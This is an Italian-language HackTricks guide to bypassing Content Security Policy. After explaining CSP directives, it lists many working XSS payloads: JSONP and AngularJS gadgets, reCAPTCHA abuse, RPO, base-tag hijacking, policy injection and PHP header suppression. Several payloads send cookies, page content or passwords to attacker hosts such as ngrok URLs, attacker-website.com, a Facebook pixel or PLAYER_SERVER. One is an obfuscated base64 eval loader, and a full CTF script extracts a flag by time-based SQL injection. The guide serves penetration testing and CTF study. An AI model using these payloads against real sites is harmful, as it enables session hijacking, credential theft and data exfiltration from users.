Content Security Policy (CSP) Bypass
Tip
Impara e pratica il hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al đŹ gruppo Discord o al gruppo telegram o seguici su Twitter đŚ @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.
Cosâè CSP
Content Security Policy (CSP) è riconosciuta come una tecnologia del browser, mirata principalmente a proteggere dagli attacchi come il cross-site scripting (XSS). Funziona definendo e specificando i percorsi e le origini da cui il browser può caricare in modo sicuro le risorse. Queste risorse comprendono vari elementi come immagini, frame e JavaScript. Ad esempio, una policy potrebbe consentire il caricamento e lâesecuzione di risorse dallo stesso dominio (self), incluse risorse inline e lâesecuzione di codice da stringa tramite funzioni come eval, setTimeout o setInterval.
Lâimplementazione di CSP avviene tramite response headers o incorporando meta elements nella pagina HTML. Seguendo questa policy, i browser applicano proattivamente queste disposizioni e bloccano immediatamente qualsiasi violazione rilevata.
- Implementato tramite response header:
Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com; style-src 'self';
- Implementato tramite meta tag:
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; img-src https://*; child-src 'none';">
Intestazioni
CSP può essere applicata o monitorata usando queste intestazioni:
Content-Security-Policy: Applica la CSP; il browser blocca eventuali violazioni.Content-Security-Policy-Report-Only: Usata per il monitoraggio; segnala le violazioni senza bloccarle. Ideale per i test in ambienti di pre-produzione.
Definizione delle risorse
CSP limita le origini da cui vengono caricati sia i contenuti attivi che passivi, controllando aspetti come lâesecuzione di inline JavaScript e lâuso di eval(). Un esempio di policy è:
default-src 'none';
img-src 'self';
script-src 'self' https://code.jquery.com;
style-src 'self';
report-uri /cspreport
font-src 'self' https://addons.cdn.mozilla.net;
frame-src 'self' https://ic.paypal.com https://paypal.com;
media-src https://videos.cdn.mozilla.net;
object-src 'none';
Direttive
- script-src: Consente sorgenti specifiche per JavaScript, incluse URL, script inline e script attivati da gestori di eventi o fogli di stile XSLT.
- default-src: Imposta una politica predefinita per il fetching delle risorse quando mancano direttive specifiche.
- child-src: Specifica le risorse consentite per web worker e contenuti di frame incorporati.
- connect-src: Restringe gli URL che possono essere caricati usando interfacce come fetch, WebSocket, XMLHttpRequest.
- frame-src: Restringe gli URL per i frame.
- frame-ancestors: Specifica quali sorgenti possono incorporare la pagina corrente, applicabile ad elementi come
<frame>,<iframe>,<object>,<embed>, e<applet>. - img-src: Definisce le sorgenti consentite per le immagini.
- font-src: Specifica sorgenti valide per i font caricati tramite
@font-face. - manifest-src: Definisce le sorgenti consentite per i file manifest dellâapplicazione.
- media-src: Definisce le sorgenti consentite per il caricamento di oggetti media.
- object-src: Definisce le sorgenti consentite per gli elementi
<object>,<embed>, e<applet>. - base-uri: Specifica gli URL consentiti per il caricamento tramite lâelemento
<base>. - form-action: Elenca gli endpoint validi per lâinvio dei form.
- plugin-types: Restringe i mime type che una pagina può invocare.
- upgrade-insecure-requests: Istruisce i browser a riscrivere gli URL HTTP in HTTPS.
- sandbox: Applica restrizioni simili allâattributo sandbox di un
<iframe>. - report-to: Specifica un gruppo a cui inviare un report se la policy viene violata.
- worker-src: Specifica sorgenti valide per script Worker, SharedWorker o ServiceWorker.
- prefetch-src: Specifica sorgenti valide per risorse che saranno caricate o prefetchate.
- navigate-to: Restringe gli URL verso cui un documento può navigare con qualunque mezzo (a, form, window.location, window.open, ecc.)
Origini
*: Permette tutti gli URL tranne quelli con schemidata:,blob:,filesystem:.'self': Consente il caricamento dallo stesso dominio.'data': Consente il caricamento di risorse tramite lo schema data (es., immagini codificate in Base64).'none': Blocca il caricamento da qualsiasi sorgente.'unsafe-eval': Consente lâuso dieval()e metodi simili, non raccomandato per motivi di sicurezza.'unsafe-hashes': Abilita specifici gestori di eventi inline.'unsafe-inline': Consente lâuso di risorse inline come<script>o<style>inline, non raccomandato per motivi di sicurezza.'nonce': Una whitelist per specifici script inline che usa un nonce crittografico (numero usato una sola volta).- Se hai unâesecuzione JS limitata è possibile ottenere un nonce usato allâinterno della pagina con
doc.defaultView.top.document.querySelector("[nonce]")e poi riutilizzarlo per caricare uno script maligno (se viene usato strict-dynamic, qualsiasi sorgente consentita può caricare nuove sorgenti quindi questo non è necessario), come in:
Carica script riutilizzando il nonce
```html'sha256-<hash>': Consente gli script con uno specifico hash sha256.'strict-dynamic': Permette il caricamento di script da qualsiasi sorgente se è stato inserito in whitelist tramite nonce o hash.'host': Specifica un host specifico, comeexample.com.https:: Restringe gli URL a quelli che usano HTTPS.blob:: Permette di caricare risorse da Blob URL (es. Blob URL creati via JavaScript).filesystem:: Permette di caricare risorse dal filesystem.'report-sample': Include un esempio del codice in violazione nel report (utile per il debugging).'strict-origin': Simile a âselfâ ma assicura che il livello di sicurezza del protocollo delle sorgenti corrisponda a quello del documento (solo origini sicure possono caricare risorse da origini sicure).'strict-origin-when-cross-origin': Invia URL completi per richieste same-origin ma invia solo lâorigine quando la richiesta è cross-origin.'unsafe-allow-redirects': Permette il caricamento di risorse che eseguiranno un redirect immediato verso unâaltra risorsa. Non consigliato perchĂŠ indebolisce la sicurezza.
Regole CSP non sicure
âunsafe-inlineâ
Content-Security-Policy: script-src https://google.com 'unsafe-inline';
Payload funzionante: "/><script>alert(1);</script>
self + âunsafe-inlineâ tramite Iframes
CSP bypass: self + âunsafe-inlineâ with Iframes
âunsafe-evalâ
Caution
Questo non funziona, per maggiori informazioni check this.
Content-Security-Policy: script-src https://google.com 'unsafe-eval';
Payload funzionante:
<script src="data:;base64,YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=="></script>
strict-dynamic
Se in qualche modo riesci a far sĂŹ che un codice JS consentito crei un nuovo script tag nel DOM con il tuo codice JS, poichĂŠ uno script consentito lo sta creando, il nuovo script tag sarĂ autorizzato ad essere eseguito.
Wildcard (*)
Content-Security-Policy: script-src 'self' https://google.com https: data *;
Payload funzionante:
"/>'><script src=https://attacker-website.com/evil.js></script>
"/>'><script src=data:text/javascript,alert(1337)></script>
Mancanza di object-src e default-src
[!CAUTION] > Sembra che questo non funzioni piĂš
Content-Security-Policy: script-src 'self' ;
Payload funzionanti:
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>
">'><object type="application/x-shockwave-flash" data='https: //ajax.googleapis.com/ajax/libs/yui/2.8.0 r4/build/charts/assets/charts.swf?allowedDomain=\"})))}catch(e) {alert(1337)}//'>
<param name="AllowScriptAccess" value="always"></object>
Caricamento file + âselfâ
Content-Security-Policy: script-src 'self'; object-src 'none' ;
Se puoi caricare un file JS puoi bypass questa CSP:
Payload funzionante:
"/>'><script src="/uploads/picture.png.js"></script>
Tuttavia è molto probabile che il server stia validando il file caricato e permetta solamente di caricare tipi di file determinati.
Inoltre, anche se riuscissi a caricare del JS code inside in un file usando unâestensione accettata dal server (es.: script.png) questo non sarebbe sufficiente perchĂŠ alcuni server, come apache server, selezionano il MIME type del file in base allâestensione e browser come Chrome rifiuteranno di eseguire Javascript allâinterno di qualcosa che dovrebbe essere unâimmagine. âPer fortunaâ, ci sono degli errori. Per esempio, in un CTF ho scoperto che Apache non conosce lâestensione .wave, quindi non la serve con un MIME type like audio/*.
Da qui, se trovi una XSS e un file upload, e riesci a individuare unâestensione interpretata male, potresti provare a caricare un file con quella estensione contenente lo script. Oppure, se il server verifica il formato corretto del file caricato, crea un polyglot (some polyglot examples here).
Form-action
Se non è possibile injectare JS, puoi comunque provare a esfiltrare, per esempio, credenziali inserendo un form action (e magari contando sul fatto che i password manager compilino automaticamente le password). Puoi trovare un esempio in questo report. Inoltre, nota che default-src non copre i form actions.
Third Party Endpoints + (âunsafe-evalâ)
Warning
Per alcuni dei payload seguenti
unsafe-evalnon è nemmeno necessario.
Content-Security-Policy: script-src https://cdnjs.cloudflare.com 'unsafe-eval';
Carica una versione vulnerabile di angular ed esegui JS arbitrario:
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.4.6/angular.js"></script>
<div ng-app> {{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1);//');}} </div>
"><script src="https://cdnjs.cloudflare.com/angular.min.js"></script> <div ng-app ng-csp>{{$eval.constructor('alert(1)')()}}</div>
"><script src="https://cdnjs.cloudflare.com/angularjs/1.1.3/angular.min.js"> </script>
<div ng-app ng-csp id=p ng-click=$event.view.alert(1337)>
With some bypasses from: https://blog.huli.tw/2022/08/29/en/intigriti-0822-xss-author-writeup/
<script/src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js></script>
<iframe/ng-app/ng-csp/srcdoc="
<script/src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.8.0/angular.js>
</script>
<img/ng-app/ng-csp/src/ng-o{{}}n-error=$event.target.ownerDocument.defaultView.alert($event.target.ownerDocument.domain)>"
>
Payloads using Angular + a library with functions that return the window object (check out this post):
Tip
Il post mostra che puoi caricare tutte le librerie da
cdn.cloudflare.com(o qualsiasi altro repository di librerie JS consentito), eseguire tutte le funzioni aggiunte di ciascuna libreria e verificare quali funzioni di quali librerie restituiscono lâoggettowindow.
<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.8/angular.js" /></script>
<div ng-app ng-csp>
{{$on.curry.call().alert(1)}}
{{[].empty.call().alert([].empty.call().document.domain)}}
{{ x = $on.curry.call().eval("fetch('http://localhost/index.php').then(d => {})") }}
</div>
<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js"></script>
<div ng-app ng-csp>
{{$on.curry.call().alert('xss')}}
</div>
<script src="https://cdnjs.cloudflare.com/ajax/libs/mootools/1.6.0/mootools-core.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js"></script>
<div ng-app ng-csp>
{{[].erase.call().alert('xss')}}
</div>
Angular XSS da un nome di classe:
<div ng-app>
<strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
</div>
Abuso del codice JS di google recaptcha
Secondo this CTF writeup puoi abusare di https://www.google.com/recaptcha/ allâinterno di una CSP per eseguire codice JS arbitrario bypassando la CSP:
<div
ng-controller="CarouselController as c"
ng-init="c.init()"
>
[[c.element.ownerDocument.defaultView.parent.location="http://google.com?"+c.element.ownerDocument.cookie]]
<div carousel><div slides></div></div>
<script src="https://www.google.com/recaptcha/about/js/main.min.js"></script>
Altri payloads from this writeup:
<script src="https://www.google.com/recaptcha/about/js/main.min.js"></script>
<!-- Trigger alert -->
<img src="x" ng-on-error="$event.target.ownerDocument.defaultView.alert(1)" />
<!-- Reuse nonce -->
<img
src="x"
ng-on-error='
doc=$event.target.ownerDocument;
a=doc.defaultView.top.document.querySelector("[nonce]");
b=doc.createElement("script");
b.src="//example.com/evil.js";
b.nonce=a.nonce; doc.body.appendChild(b)' />
Abuso di www.google.com per open redirect
LâURL seguente reindirizza a example.com (da here):
https://www.google.com/amp/s/example.com/
Abuso di *.google.com/script.google.com
Ă possibile abusare di Google Apps Script per ricevere informazioni in una pagina allâinterno di script.google.com. Come mostrato in questo report.
Endpoint di terze parti + JSONP
Content-Security-Policy: script-src 'self' https://www.google.com https://www.youtube.com; object-src 'none';
Scenari come questo in cui script-src è impostato su self e un dominio specifico è whitelisted possono essere bypassati usando JSONP. Gli endpoint JSONP consentono metodi di callback non sicuri che permettono a un attacker di eseguire XSS, working payload:
"><script src="https://www.google.com/complete/search?client=chrome&q=hello&callback=alert#1"></script>
"><script src="/api/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>
https://www.youtube.com/oembed?callback=alert;
<script src="https://www.youtube.com/oembed?url=http://www.youtube.com/watch?v=bDOYN-6gdRE&format=json&callback=fetch(`/profile`).then(function f1(r){return r.text()}).then(function f2(txt){location.href=`https://b520-49-245-33-142.ngrok.io?`+btoa(txt)})"></script>
<script type="text/javascript" crossorigin="anonymous" src="https://accounts.google.com/o/oauth2/revoke?callback=eval(atob(%27KGZ1bmN0aW9uKCl7CiBsZXQgdnIgPSAoKT0%2Be3dpdGgobmV3IHRvcFsnVydbJ2NvbmNhdCddKCdlYicsJ1MnLCdjZycmJidvY2snfHwncGsnLCdldCcpXSgndydbJ2NvbmNhdCddKCdzcycsJzpkZWZkZWYnLCdsaScsJ3ZlY2hhdGknLCduYycsJy4nfHwnOycsJ25ldHdvcmtkZWZjaGF0cGlwZWRlZjAyOWRlZicpWydzcGxpdCddKCdkZWYnKVsnam9pbiddKCIvIikpKShvbm1lc3NhZ2U9KGUpPT5uZXcgRnVuY3Rpb24oYXRvYihlWydkYXRhJ10pKS5jYWxsKGVbJ3RhcmdldCddKSl9O25hdmlnYXRvclsnd2ViZHJpdmVyJ118fChsb2NhdGlvblsnaHJlZiddWydtYXRjaCddKCdjaGVja291dCcpJiZ2cigpKTsKfSkoKQ%3D%3D%27));"></script>
JSONBee contiene endpoint JSONP pronti allâuso per il bypass del CSP di diversi siti web.
La stessa vulnerabilitĂ si verifica se il trusted endpoint contiene un Open Redirect perchĂŠ se lâendpoint iniziale è trusted, anche i redirect sono considerati trusted.
Abusi di terze parti
Come descritto nel post seguente, ci sono molti domini di terze parti che potrebbero essere consentiti nel CSP e che possono essere abusati per esfiltrare dati o eseguire codice JavaScript. Alcuni di questi servizi di terze parti sono:
| EntitĂ | Dominio consentito | CapacitĂ |
|---|---|---|
| www.facebook.com, *.facebook.com | Exfil | |
| Hotjar | *.hotjar.com, ask.hotjar.io | Exfil |
| Jsdelivr | *.jsdelivr.com, cdn.jsdelivr.net | Exec |
| Amazon CloudFront | *.cloudfront.net | Exfil, Exec |
| Amazon AWS | *.amazonaws.com | Exfil, Exec |
| Azure Websites | *.azurewebsites.net, *.azurestaticapps.net | Exfil, Exec |
| Salesforce Heroku | *.herokuapp.com | Exfil, Exec |
| Google Firebase | *.firebaseapp.com | Exfil, Exec |
Se trovi uno qualsiasi dei domini consentiti nel CSP del tuo target, è probabile che tu possa bypassare il CSP registrandoti al servizio di terze parti e, o esfiltrare dati verso quel servizio o eseguire codice.
Ad esempio, se trovi il seguente CSP:
Content-Security-Policyâ: default-src 'selfâ www.facebook.com;â
o
Content-Security-Policyâ: connect-src www.facebook.com;â
Dovresti essere in grado di exfiltrate data, similmente a come è sempre stato fatto con Google Analytics/Google Tag Manager. In questo caso, segui questi passaggi generali:
- Crea un account Facebook Developer qui.
- Crea una nuova app âFacebook Loginâ e seleziona âWebsiteâ.
- Vai in âSettings -> Basicâ e prendi il tuo âApp IDâ
- Nel sito target da cui vuoi exfiltrate data, puoi exfiltrate data usando direttamente il gadget del Facebook SDK âfbqâ tramite un âcustomEventâ e il data payload.
- Vai al tuo App âEvent Managerâ e seleziona lâapplicazione che hai creato (nota che lâevent manager potrebbe trovarsi in un URL simile a questo: https://www.facebook.com/events_manager2/list/pixel/[app-id]/test_events
- Seleziona la tab âTest Eventsâ per vedere gli eventi inviati dal tuo sito web.
Poi, sul lato vittima, esegui il seguente codice per inizializzare il Facebook tracking pixel in modo che punti allâapp-id dellâaccount Facebook developer dellâattaccante e inviare un custom event come segue:
fbq('init', '1279785999289471');â // this number should be the App ID of the attacker's Meta/Facebook account
fbq('trackCustom', 'My-Custom-Event',{â
data: "Leaked user password: '"+document.getElementById('user-password').innerText+"'"â
});
Per quanto riguarda gli altri sette domini di terze parti specificati nella tabella precedente, esistono molti altri modi in cui è possibile abusarne. Fai riferimento al blog post citato in precedenza per spiegazioni aggiuntive sugli altri abusi legati a terze parti.
Bypass via RPO (Relative Path Overwrite)
Oltre al reindirizzamento sopra citato usato per aggirare le restrizioni sui percorsi, esiste unâaltra tecnica chiamata Relative Path Overwrite (RPO) che può essere utilizzata su alcuni server.
Ad esempio, se CSP consente il percorso https://example.com/scripts/react/, può essere aggirato come segue:
<script src="https://example.com/scripts/react/..%2fangular%2fangular.js"></script>
Il browser alla fine caricherĂ https://example.com/scripts/angular/angular.js.
Questo funziona perchÊ per il browser stai richiedendo un file chiamato ..%2fangular%2fangular.js situato sotto https://example.com/scripts/react/, il che è conforme al CSP.
Il browser lo decodificherà , richiedendo effettivamente https://example.com/scripts/react/../angular/angular.js, che è equivalente a https://example.com/scripts/angular/angular.js.
Sfruttando questa incoerenza nellâinterpretazione degli URL tra il browser e il server, le regole di percorso possono essere bypassate.
La soluzione è non trattare %2f come / lato server, garantendo unâinterpretazione coerente tra browser e server per evitare questo problema.
Online Example: https://jsbin.com/werevijewa/edit?html,output
Esecuzione JS in iframe
Mancanza di base-uri
Se la direttiva base-uri è assente puoi abusarne per eseguire una dangling markup injection.
Moreover, se la pagina sta caricando uno script usando un percorso relativo (come <script src="/js/app.js">) usando una Nonce, puoi abusare del tag base per far caricare lo script dal tuo server ottenendo una XSS.
If the vulnerable page is loaded with httpS, make use an httpS url in the base.
<base href="https://www.attacker.com/" />
AngularJS eventi
Una specifica policy nota come Content Security Policy (CSP) può limitare gli eventi JavaScript. Tuttavia, AngularJS introduce eventi personalizzati come alternativa. Allâinterno di un evento, AngularJS fornisce un oggetto speciale $event, che fa riferimento allâoggetto evento nativo del browser. Questo oggetto $event può essere sfruttato per aggirare la CSP. In particolare, in Chrome, lâoggetto $event/event possiede un attributo path, che contiene un array di oggetti implicati nella catena di esecuzione dellâevento, con lâoggetto window sempre posizionato alla fine. Questa struttura è fondamentale per le tecniche di escape dalla sandbox.
Inviando questo array al filtro orderBy, è possibile iterarvi sopra, sfruttando lâelemento terminale (lâoggetto window) per invocare una funzione globale come alert(). Lo snippet di codice dimostrativo qui sotto chiarisce questo processo:
<input%20id=x%20ng-focus=$event.path|orderBy:%27(z=alert)(document.cookie)%27>#x
?search=<input id=x ng-focus=$event.path|orderBy:'(z=alert)(document.cookie)'>#x
Questo snippet evidenzia lâuso della direttiva ng-focus per innescare lâevento, impiegando $event.path|orderBy per manipolare lâarray path, e sfruttando lâoggetto window per eseguire la funzione alert(), rivelando cosĂŹ document.cookie.
Trova altri Angular bypasses in https://portswigger.net/web-security/cross-site-scripting/cheat-sheet
AngularJS and whitelisted domain
Content-Security-Policy: script-src 'self' ajax.googleapis.com; object-src 'none' ;report-uri /Report-parsing-url;
Una policy CSP che consente solo domini specifici per il caricamento di script in unâapplicazione Angular JS può essere bypassata tramite lâinvocazione di callback functions e di alcune vulnerable classes. Ulteriori informazioni su questa tecnica sono disponibili in una guida dettagliata presente su questo git repository.
Working payloads:
<script src=//ajax.googleapis.com/ajax/services/feed/find?v=1.0%26callback=alert%26context=1337></script>
ng-app"ng-csp ng-click=$event.view.alert(1337)><script src=//ajax.googleapis.com/ajax/libs/angularjs/1.0.8/angular.js></script>
<!-- no longer working -->
<script src="https://www.googleapis.com/customsearch/v1?callback=alert(1)">
Altri endpoint di esecuzione arbitraria JSONP possono essere trovati in qui (alcuni di essi sono stati cancellati o corretti)
Bypass tramite redirezione
Cosa succede quando CSP incontra una redirezione lato server? Se la redirezione porta a unâorigine diversa non consentita, fallirĂ comunque.
Tuttavia, secondo quanto descritto in CSP spec 4.2.2.3. Paths and Redirects, se la redirezione conduce a un percorso diverso, può aggirare le restrizioni originali.
Ecco un esempio:
<!DOCTYPE html>
<html>
<head>
<meta
http-equiv="Content-Security-Policy"
content="script-src http://localhost:5555 https://www.google.com/a/b/c/d" />
</head>
<body>
<div id="userContent">
<script src="https://https://www.google.com/test"></script>
<script src="https://https://www.google.com/a/test"></script>
<script src="http://localhost:5555/301"></script>
</div>
</body>
</html>
Se CSP è impostato su https://www.google.com/a/b/c/d, dato che il percorso è considerato, entrambi gli script /test e /a/test saranno bloccati dal CSP.
Tuttavia, lâURL http://localhost:5555/301 finale verrĂ reindirizzato lato server a https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)//. PoichĂŠ si tratta di un reindirizzamento, il percorso non viene considerato, e lo script può essere caricato, aggirando cosĂŹ la restrizione sul percorso.
Con questo reindirizzamento, anche se il percorso è specificato completamente, verrà comunque aggirato.
Pertanto, la soluzione migliore è assicurarsi che il sito non abbia vulnerabilità di open redirect e che non ci siano domini sfruttabili nelle regole CSP.
Bypass CSP with dangling markup
Leggi come spiegato qui.
âunsafe-inlineâ; img-src *; via XSS
default-src 'self' 'unsafe-inline'; img-src *;
'unsafe-inline' significa che puoi eseguire qualsiasi script allâinterno del codice (XSS può eseguire codice) e img-src * significa che puoi usare nella pagina web qualsiasi immagine proveniente da qualsiasi risorsa.
Puoi bypassare questa CSP esfiltrating the data via images (in questa occasione lâXSS sfrutta una CSRF dove una pagina accessibile dal bot contiene una SQLi, e estrae il flag tramite unâimmagine):
<script>
fetch('http://x-oracle-v0.nn9ed.ka0labs.org/admin/search/x%27%20union%20select%20flag%20from%20challenge%23').then(_=>_.text()).then(_=>new
Image().src='http://PLAYER_SERVER/?'+_)
</script>
From: https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle
Puoi anche abusare di questa configurazione per caricare codice javascript inserito allâinterno di unâimmagine. Se, per esempio, la pagina permette di caricare immagini da Twitter, potresti creare unâimmagine speciale, caricarla su Twitter e abusare di âunsafe-inlineâ per eseguire un codice JS (come un normale XSS) che caricherĂ lâimmagine, estrarrĂ il JS da essa e lo eseguirĂ : https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/
Con Service Workers
La funzione importScripts dei Service Workers non è limitata dal CSP:
Policy Injection
Ricerca: https://portswigger.net/research/bypassing-csp-with-policy-injection
Chrome
Se un parametro inviato da te viene incollato allâinterno della dichiarazione della policy, allora potresti alterare la policy in modo che la renda inutile. Potresti consentire script âunsafe-inlineâ con uno qualsiasi di questi bypass:
script-src-elem *; script-src-attr *
script-src-elem 'unsafe-inline'; script-src-attr 'unsafe-inline'
PerchĂŠ questa direttiva sovrascriverĂ le direttive script-src esistenti.
Puoi trovare un esempio qui: http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=%3Bscript-src-elem+*&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E
Edge
In Edge è molto piĂš semplice. Se puoi aggiungere nella CSP solo questo: ;_ Edge scarterebbe lâintera policy.
Esempio: http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;_&y=%3Cscript%3Ealert(1)%3C/script%3E
img-src *; via XSS (iframe) - Time attack
Nota la mancanza della direttiva 'unsafe-inline'
Questa volta puoi far sĂŹ che la vittima carichi una pagina sotto il tuo controllo via XSS con un <iframe. Questa volta farai in modo che la vittima acceda alla pagina da cui vuoi estrarre informazioni (CSRF). Non puoi accedere al contenuto della pagina, ma se in qualche modo puoi controllare il tempo necessario al caricamento della pagina puoi estrarre le informazioni di cui hai bisogno.
Questa volta verrà estratto un flag: ogni volta che un char è indovinato correttamente tramite SQLi la response impiega piÚ tempo a causa della funzione sleep. CosÏ potrai estrarre il flag:
<!--code from https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle -->
<iframe name="f" id="g"></iframe> // The bot will load an URL with the payload
<script>
let host = "http://x-oracle-v1.nn9ed.ka0labs.org"
function gen(x) {
x = escape(x.replace(/_/g, "\\_"))
return `${host}/admin/search/x'union%20select(1)from%20challenge%20where%20flag%20like%20'${x}%25'and%201=sleep(0.1)%23`
}
function gen2(x) {
x = escape(x)
return `${host}/admin/search/x'union%20select(1)from%20challenge%20where%20flag='${x}'and%201=sleep(0.1)%23`
}
async function query(word, end = false) {
let h = performance.now()
f.location = end ? gen2(word) : gen(word)
await new Promise((r) => {
g.onload = r
})
let diff = performance.now() - h
return diff > 300
}
let alphabet = "_abcdefghijklmnopqrstuvwxyz0123456789".split("")
let postfix = "}"
async function run() {
let prefix = "nn9ed{"
while (true) {
let i = 0
for (i; i < alphabet.length; i++) {
let c = alphabet[i]
let t = await query(prefix + c) // Check what chars returns TRUE or FALSE
console.log(prefix, c, t)
if (t) {
console.log("FOUND!")
prefix += c
break
}
}
if (i == alphabet.length) {
console.log("missing chars")
break
}
let t = await query(prefix + "}", true)
if (t) {
prefix += "}"
break
}
}
new Image().src = "http://PLAYER_SERVER/?" + prefix //Exfiltrate the flag
console.log(prefix)
}
run()
</script>
Tramite Bookmarklets
Questo attacco implica una forma di social engineering in cui lâattaccante convinces the user to drag and drop a link over the bookmarklet of the browser. Questo bookmarklet conterrebbe malicious javascript code che quando drag&dropped o cliccato verrebbe eseguito nel contesto della finestra web corrente, bypassing CSP and allowing to steal sensitive information come cookies o tokens.
Per maggiori informazioni consulta il report originale qui.
CSP bypass restringendo la CSP
In questa CTF writeup, la CSP viene bypassata iniettando allâinterno di un iframe consentito una CSP piĂš restrittiva che impediva il caricamento di uno specifico file JS che, poi, tramite prototype pollution o dom clobbering, permetteva di abusare di un altro script per caricare uno script arbitrario.
Puoi restringere la CSP di un Iframe con lâattributo csp:
<iframe
src="https://biohazard-web.2023.ctfcompetition.com/view/[bio_id]"
csp="script-src https://biohazard-web.2023.ctfcompetition.com/static/closure-library/ https://biohazard-web.2023.ctfcompetition.com/static/sanitizer.js https://biohazard-web.2023.ctfcompetition.com/static/main.js 'unsafe-inline' 'unsafe-eval'"></iframe>
In this CTF writeup, è stato possibile tramite HTML injection rendere piÚ restrittiva una CSP cosÏ che uno script che preveniva la CSTI venisse disabilitato e quindi la vulnerability became exploitable.
La CSP può essere resa piÚ restrittiva usando HTML meta tags, e gli inline scripts possono essere disabilitati rimuovendo la voce che permette il loro nonce e abilitare specifici inline script via sha:
<meta
http-equiv="Content-Security-Policy"
content="script-src 'self'
'unsafe-eval' 'strict-dynamic'
'sha256-whKF34SmFOTPK4jfYDy03Ea8zOwJvqmz%2boz%2bCtD7RE4='
'sha256-Tz/iYFTnNe0de6izIdG%2bo6Xitl18uZfQWapSbxHE6Ic=';" />
Esfiltrazione JS con Content-Security-Policy-Report-Only
Se riesci a far sĂŹ che il server risponda con lâheader Content-Security-Policy-Report-Only con un valore controllato da te (magari a causa di un CRLF), puoi farlo puntare al tuo server e se inserisci il contenuto JS che vuoi esfiltrare dentro <script> e dato che è molto probabile che unsafe-inline non sia permesso dalla CSP, questo innescherĂ un errore CSP e parte dello script (contenente le informazioni sensibili) verrĂ inviata al server tramite Content-Security-Policy-Report-Only.
Per esempio vedi questo writeup CTF.
CVE-2020-6519
document.querySelector("DIV").innerHTML =
'<iframe src=\'javascript:var s = document.createElement("script");s.src = "https://pastebin.com/raw/dw5cWGK6";document.body.appendChild(s);\'></iframe>'
Leaking informazioni con CSP e Iframe
- Un
iframeviene creato che punta a un URL (chiamiamolohttps://example.redirect.com) che è consentito da CSP. - Questo URL poi reindirizza a un URL segreto (es.,
https://usersecret.example2.com) che non è consentito da CSP. - Ascoltando lâevento
securitypolicyviolation, è possibile catturare la proprietĂblockedURI. Questa proprietĂ rivela il dominio della URI bloccata, leaking il dominio segreto verso cui lâURL iniziale è stato reindirizzato.
Ă interessante notare che browser come Chrome e Firefox hanno comportamenti diversi nel gestire gli iframe rispetto a CSP, portando a potenziali leak di informazioni sensibili a causa di comportamenti non definiti.
Unâaltra tecnica consiste nello sfruttare la CSP stessa per dedurre il sottodominio segreto. Questo metodo si basa su un algoritmo di ricerca binaria e sullâaggiustamento della CSP per includere domini specifici che vengono deliberatamente bloccati. Ad esempio, se il sottodominio segreto è composto da caratteri sconosciuti, puoi testare iterativamente diversi sottodomini modificando la direttiva CSP per bloccare o consentire questi sottodomini. Ecco uno snippet che mostra come la CSP potrebbe essere configurata per facilitare questo metodo:
img-src https://chall.secdriven.dev https://doc-1-3213.secdrivencontent.dev https://doc-2-3213.secdrivencontent.dev ... https://doc-17-3213.secdriven.dev
Monitorando quali richieste vengono bloccate o consentite dalla CSP, si può restringere lâinsieme dei caratteri possibili nel sottodominio segreto, arrivando infine a scoprire lâURL completo.
Entrambi i metodi sfruttano le sfumature dellâimplementazione di CSP e del comportamento nei browser, dimostrando come politiche apparentemente sicure possano involontariamente leakare informazioni sensibili.
Trick da here.
Tecnologie insicure per bypassare la CSP
Errori PHP quando ci sono troppi parametri
Secondo la last technique commented in this video, inviando troppi parametri (1001 GET parameters anche se si può fare anche con POST params e piĂš di 20 file). Qualsiasi header() definito nel codice PHP del web non verrĂ inviato a causa dellâerrore che questo causerĂ .
Sovraccarico del buffer di risposta di PHP
PHP è noto per buffering the response to 4096 byte per default. Pertanto, se PHP mostra un warning, fornendo enough data inside warnings, la response sarĂ sent before the CSP header, causando lâignoramento dellâheader.
Quindi, la tecnica consiste fondamentalmente nel riempire il buffer di risposta con warning in modo che lâCSP header non venga inviato.
Idea from this writeup.
Disabilitare la CSP tramite max_input_vars (headers already sent)
PoichĂŠ gli header devono essere inviati prima di qualsiasi output, i warning emessi da PHP possono invalidare chiamate successive a header(). Se lâinput utente supera max_input_vars, PHP genera prima un warning di startup; qualsiasi successivo header('Content-Security-Policy: ...') fallirĂ con âheaders already sentâ, disabilitando di fatto la CSP e permettendo reflective XSS altrimenti bloccati.
<?php
header("Content-Security-Policy: default-src 'none';");
echo $_GET['xss'];
Esempio:
# CSP in place â payload blocked by browser
curl -i "http://orange.local/?xss=<svg/onload=alert(1)>"
# Exceed max_input_vars to force warnings before header() â CSP stripped
curl -i "http://orange.local/?xss=<svg/onload=alert(1)>&A=1&A=2&...&A=1000"
# Warning: PHP Request Startup: Input variables exceeded 1000 ...
# Warning: Cannot modify header information - headers already sent
Riscrivere la pagina di errore
